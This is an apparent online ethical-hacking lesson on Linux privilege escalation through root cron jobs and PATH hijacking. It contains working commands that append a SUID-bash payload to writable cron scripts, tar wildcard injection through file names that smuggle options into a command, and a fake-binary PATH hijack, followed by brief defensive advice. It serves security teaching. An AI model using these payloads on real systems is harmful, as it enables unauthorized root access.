Ethical Hacking Academy · Lesson

Cron Jobs and PATH

Scheduled task abuse.

Cron Jobs and PATH is a free Ethical Hacking Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Cron Jobs as a Vector

The cron daemon runs scheduled tasks, frequently as root. If you can influence what a root cron job executes — its script, its inputs, or how it resolves commands — you can run code as root.

Enumerating Cron

Read the system crontab and the cron directories. Note who runs each job and which scripts they call.

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null

Watching for Hidden Jobs

Some jobs are not in obvious files. pspy monitors process creation without root, revealing cron commands as they fire — including ones you cannot read in config.

./pspy64
# watch for periodic root processes

Writable Cron Scripts

The simplest abuse: a root cron job runs a script you can write to. Append a payload and wait for the next run.

ls -la /opt/backup.sh   # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh

Wildcard Injection

If a root cron job uses a wildcard like tar -czf backup.tar.gz * in a directory you control, you can create files whose names act as command-line options (argument injection), forcing tar to run your command.

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh

What Is PATH?

PATH is the list of directories the shell searches for commands. When a script calls a command by name only (e.g. backup instead of /usr/bin/backup), the first matching file in PATH wins.

echo $PATH
# /usr/local/bin:/usr/bin:/bin

PATH Hijacking

If a root-run script calls a command without an absolute path, and you can prepend a writable directory to its PATH, place a malicious binary with that name there. Root will run your version.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH

Relative Path in SUID Binaries

The same flaw appears in custom SUID binaries that call system("service ...") without a full path. Hijacking PATH then runs your code as root — combining PATH abuse with the SUID concept.

Exploiting a Writable PATH Directory

Even without changing PATH, if an existing PATH directory (like /usr/local/bin) is writable and a root job calls a command found there, you simply drop your binary in place.

ls -ld /usr/local/bin   # check for write permission

Timing the Attack

Cron-based escalation requires patience — you must wait for the schedule. Note the interval, plant your payload, and check for the result (e.g. your SUID shell) after the job fires.

watch -n 5 ls -la /tmp/rootbash

Defenses and Ethics

Defenders should use absolute paths in scripts, restrict permissions on cron scripts and their directories, avoid wildcards on attacker-controllable paths, and set a safe PATH inside cron. Test these techniques only where authorized.

Quick Check

Test your cron/PATH knowledge.

Recap

You learned cron and PATH escalation:

Root cron jobs that call writable scripts or use wildcards are exploitable
pspy reveals hidden scheduled processes
PATH hijacking abuses commands called without an absolute path
Plant the payload, wait for the schedule, collect root

Next: kernel exploits.

Frequently asked questions

Is the “Cron Jobs and PATH” lesson free?

Yes — the full text of “Cron Jobs and PATH” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.

What will I learn in “Cron Jobs and PATH”?

Scheduled task abuse. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Ethical Hacking Academy?

No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Cron Jobs and PATH” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Ethical Hacking Academy lesson?

Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

← Back to Ethical Hacking Academy